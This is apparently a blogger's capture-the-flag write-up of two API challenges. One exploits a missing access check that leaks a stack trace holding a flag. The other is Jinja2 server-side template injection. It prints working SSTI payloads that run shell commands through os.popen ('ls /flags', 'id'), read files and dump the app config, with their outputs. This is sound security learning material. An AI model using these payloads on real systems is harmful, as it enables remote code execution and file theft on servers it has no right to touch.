Skip to main content
  1. CaptureTheFlags/

APISEC-CON CTF – Exception Excavation & Render Bender

·372 words·2 mins
CTF APISEC-CON IDOR SSTI Web Exploitation Broken Access Control Template Injection API Security 2025
Vaishnav Baraskar
Author
Vaishnav Baraskar
Penetration Tester @ Freelancer

0x00 – The Setup
#

API challenges always make me pause. They’re subtle, often logic-based, and prone to mishandling by developers chasing “RESTful perfection.” When I saw two challenges dropped back-to-back—Exception Excavation and Render Bender—I knew there was potential for mischief.


0x01 – Exception Excavation (50 pts)
#

Overview
#

A pretty classic start. There’s a bug report system, and it fetches reports by ID. Sounds normal—until you realize it doesn’t validate access control.

So when I threw this into the request:

GET /report/-1

I didn’t get an error. Instead, I got… a stack trace. Yeah. Full exception debug trace with context.

My Thought Process
#

Seeing a negative index work was enough. At that point, my hacker sense was tingling. Stack traces often leak things like:

  • filesystem paths
  • ENV variables
  • internal logs
  • flags

So I started grepping.

Flag Discovery
#

Tucked inside one of the traces (on the second page of output):

Exception: ValueError: Invalid token
flag{st4ck_tr4c3s_r3v34l_s3cr3ts}

Minimal effort. Maximum reward.


0x02 – Render Bender (150 pts)
#

Overview
#

Now this one… was spicy.

You had an endpoint that echoed user input in the response. Suspicious. It rendered something like this:

Hello {{ name }}

Which immediately led me to test for Server-Side Template Injection (SSTI).

I tried this payload:

{{7*7}}

And the response came back with:

Hello 49

Confirmed SSTI
#

At that point, I was locked in. Time to test full Jinja2 access.

{{ self.__init__.__globals__.os.popen('ls /flags').read() }}

Output:

flag1.txt
flag2.txt

Flag Extraction
#

One-by-one, I pulled them out:

{{ self.__init__.__globals__.open('/flags/flag1.txt').read() }}

Result:

flag{t3mpl4t3_1nj3ct10n_fwt}

Then:

{{ self.__init__.__globals__.open('/flags/flag2.txt').read() }}

Result:

flag{ch41n1ng_vuln3r4b1l1t13s_f0r_th3_w1n}

Clean RCE, clean flags.


0x03 – Extra Payload Examples
#

Here’s a shortlist of other working payloads:

{{ self.__init__.__globals__['os'].popen('id').read() }}
{{ config.items() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}

0x04 – Final Thoughts
#

The first challenge was basic—but a reminder that debugging info has no place in prod. The second one showed how deep the rabbit hole goes when you mix logic bugs with powerful engines like Jinja2.

In both cases, I didn’t need fancy tooling. Just curiosity, minimal recon, and classic payloads.


0x05 – Tools Used
#

  • Burp Suite
  • Python + requests
  • Custom SSTI fuzz list
  • JQ + grep (for stack trace filtering)

0x06 – Flags
#

  • flag{st4ck_tr4c3s_r3v34l_s3cr3ts}
  • flag{t3mpl4t3_1nj3ct10n_fwt}
  • flag{ch41n1ng_vuln3r4b1l1t13s_f0r_th3_w1n}

Related

JWT Hunt – Iron CTF 2024
·455 words·3 mins
CTF Iron CTF JWT Web Security Token Manipulation Authentication Bypass CTF 2024 Challenge Writeup Vaishnav Baraskar
Blindspot – SAS CTF 2025
·498 words·3 mins
CTF SAS CTF Crypto Cryptanalysis Blind Decryption SAS CTF 2025 CTF Writeup Challenge Solving Vaishnav Baraskar
PointerOverflow CTF 2024 – DF
·391 words·2 mins
CTF PointerOverflow Forensics Digital Forensics File Recovery Data Extraction CTF 2024 Challenge Writeup Vaishnav Baraskar